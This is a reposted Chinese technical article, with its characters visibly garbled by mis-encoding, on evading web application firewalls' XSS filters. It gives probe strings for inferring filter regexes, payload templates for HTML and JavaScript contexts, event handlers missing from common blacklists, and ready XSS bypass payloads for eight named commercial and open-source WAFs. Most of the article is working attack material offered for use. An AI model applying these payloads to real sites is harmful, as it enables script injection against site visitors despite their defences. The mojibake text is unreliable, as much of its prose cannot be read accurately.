溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何繞過(guò)WAF的XSS檢測(cè)機(jī)制

發(fā)布時(shí)間:2021-12-22 17:10:02 來(lái)源:億速云 閱讀:215 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章給大家分享的是有關(guān)如何繞過(guò)WAF的XSS檢測(cè)機(jī)制,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。

概述

本文提出了一種繞過(guò)XSS安全機(jī)制的新型方法,這種技術(shù)由三個(gè)階段組成:確定Payload結(jié)構(gòu)、探測(cè)和混淆處理。首先,我們需要針對(duì)給定的上下文環(huán)境,確定各種不同的Payload結(jié)構(gòu)以達(dá)到最優(yōu)的測(cè)試效果。接下來(lái)就是探測(cè),這里涉及到根據(jù)目標(biāo)所實(shí)現(xiàn)的安全機(jī)制來(lái)進(jìn)行各種字符串測(cè)試,并分析目標(biāo)的響應(yīng)數(shù)據(jù)以便基于分析結(jié)果來(lái)做出安全假設(shè)。最后,根據(jù)分析結(jié)果來(lái)判斷是否要對(duì)Payload進(jìn)行混淆處理或結(jié)構(gòu)調(diào)整。

介紹

XSS是Web應(yīng)用程序中常見(jiàn)的漏洞之一,網(wǎng)站管理員可以通過(guò)用戶輸入過(guò)濾、根據(jù)上下文轉(zhuǎn)換輸出數(shù)據(jù)、正確使用DOM、強(qiáng)制執(zhí)行跨源資源共享(CORS)策略以及其他的安全策略來(lái)規(guī)避XSS漏洞。盡管現(xiàn)在有很多預(yù)防XSS攻擊的技術(shù),但Web應(yīng)用程序防火墻(WAF)或自定義數(shù)據(jù)過(guò)濾器是目前使用比較廣泛的安全保護(hù)技術(shù)了,很多廠商都會(huì)利用這些技術(shù)來(lái)抵御新型的XSS攻擊向量。雖然WAF廠商仍在嘗試引入機(jī)器學(xué)習(xí)技術(shù),但基于正則表達(dá)式的字符串檢測(cè)方法仍是目前最廣泛使用的技術(shù)。

下面提出了一種構(gòu)造XSS Payload的新型方法,這種方法構(gòu)造出來(lái)的XSS Payload可以繞過(guò)基于正則表達(dá)式匹配的安全機(jī)制。

HTML上下文

當(dāng)用戶的輸入數(shù)據(jù)映射在Web頁(yè)面的HTML代碼中時(shí),這種場(chǎng)景就是我們所謂的HTML上下文。HTML上下文可以根據(jù)用戶輸入在代碼中的映射位置來(lái)進(jìn)一步劃分成:

1、 標(biāo)簽內(nèi):<inputtype="text" value="$input">

2、 標(biāo)簽外:<span>Youentered $input</span>

標(biāo)簽外

在這種上下文場(chǎng)景中,主要字符“<”代表HTML標(biāo)簽的起始。根據(jù)HTML定義,標(biāo)簽名必須以字母作為開(kāi)頭,因此我們可以利用下面的規(guī)則來(lái)判斷用來(lái)匹配標(biāo)簽名的正則表達(dá)式:

1、<svg – 如果通過(guò),表明沒(méi)有進(jìn)行任何標(biāo)簽檢測(cè);

2、<dev – 如果無(wú)法通過(guò),則為<[a-z]+;

3、x<dev – 如果通過(guò),則為^<[a-z]+;

4、<dEv - 如果無(wú)法通過(guò),則為<[a-zA-Z]+;

5、<d3V - 如果無(wú)法通過(guò),則為<[a-zA-Z0-9]+;

6、<d|3v - 如果無(wú)法通過(guò),則為<.+;

如果上述方式均無(wú)法探測(cè)成功,則說(shuō)明目標(biāo)站點(diǎn)部署的安全機(jī)制無(wú)法被繞過(guò)。這種方式的假陽(yáng)性率非常高,因此不鼓勵(lì)使用。如果上述探測(cè)方式有一個(gè)可行,那么可用來(lái)構(gòu)造Payload的機(jī)制就非常多了。

Payload機(jī)制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合適值之后,就需要猜測(cè)用于匹配標(biāo)簽和事件處理器間數(shù)據(jù)過(guò)濾器的正則表達(dá)式了。這一步可以使用下面的探測(cè)機(jī)制來(lái)實(shí)現(xiàn):

1、<tag xxx - 如果無(wú)法通過(guò),則為{space};

2、<tag%09xxx - 如果無(wú)法通過(guò),則為[\s];

3、<tag%09%09xxx - 如果無(wú)法通過(guò),則為\s+;

4、<tag/xxx - 如果無(wú)法通過(guò),則為[\s/]+;

5、<tag%0axxx- 如果無(wú)法通過(guò),則為[\s\n]+;

6、<tag%0dxxx>- 如果無(wú)法通過(guò),則為[\s\n\r+]+;

7、<tag/~/xxx - 如果無(wú)法通過(guò),則為.*+;

這個(gè)組件(例如事件處理器)是Payload結(jié)構(gòu)中最關(guān)鍵的部分。通常,匹配它的是常規(guī)正則表達(dá)式(例如“on\w+”)或黑名單(例如“on(load|click|error|show)”)。第一個(gè)正則表達(dá)式非常嚴(yán)格,很難繞過(guò),而基于黑名單的模式可以通過(guò)不常用的事件處理器來(lái)繞過(guò)。安全機(jī)制的實(shí)現(xiàn)類型可以通過(guò)下面兩種簡(jiǎn)單的方法來(lái)識(shí)別:

1、<tag{filler}onxxx - 如果無(wú)法通過(guò),則為on\w+。如果通過(guò),則為on(load|click|error|show);

2、<tag{filler}onclick- 如果通過(guò),則表明沒(méi)有事件處理器檢測(cè)正則表達(dá)式;

下面是一些防火墻黑名單中沒(méi)標(biāo)記的事件處理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload結(jié)束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload機(jī)制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>標(biāo)簽的Payload可以利用下面的Payload機(jī)制來(lái)構(gòu)建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload機(jī)制#3

這種Payload機(jī)制有兩種形式:明文或混淆處理。

明文結(jié)構(gòu)如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆處理后的Payload結(jié)構(gòu)如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload機(jī)制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload機(jī)制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload機(jī)制來(lái)構(gòu)建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墻繞過(guò)

在研究過(guò)程中,總共繞過(guò)了八款WAF。下面的列表包含了可繞過(guò)的WAF、Paylaod以及相關(guān)的繞過(guò)技術(shù):

WAF名稱:Cloudflare

Payload:<a"/onclick=(confirm)()>click

繞過(guò)技術(shù):非空格填充

WAF名稱:Wordfence

Payload:<a/href=javascript&ampcolon;alert()>click

繞過(guò)技術(shù):數(shù)字字符編碼

WAF名稱:Barracuda

Payload:<a/href=&amp#74;ava%0a%0d%09script&ampcolon;alert()>click

繞過(guò)技術(shù):數(shù)字字符編碼

WAF名稱:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆

WAF名稱:Comodo

Payload:<d3v/onauxclick=(((confirm)))``>click

繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆

WAF名稱:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

繞過(guò)技術(shù):黑名單中缺少事件處理器以及函數(shù)調(diào)用混淆

WAF名稱:ModSecurity

Payload:<details/open/ontoggle=alert()>

繞過(guò)技術(shù):黑名單中缺少標(biāo)簽或事件處理器

WAF名稱:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

繞過(guò)技術(shù):黑名單中缺少結(jié)束標(biāo)簽、事件處理器和函數(shù)調(diào)用混淆

以上就是如何繞過(guò)WAF的XSS檢測(cè)機(jī)制,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI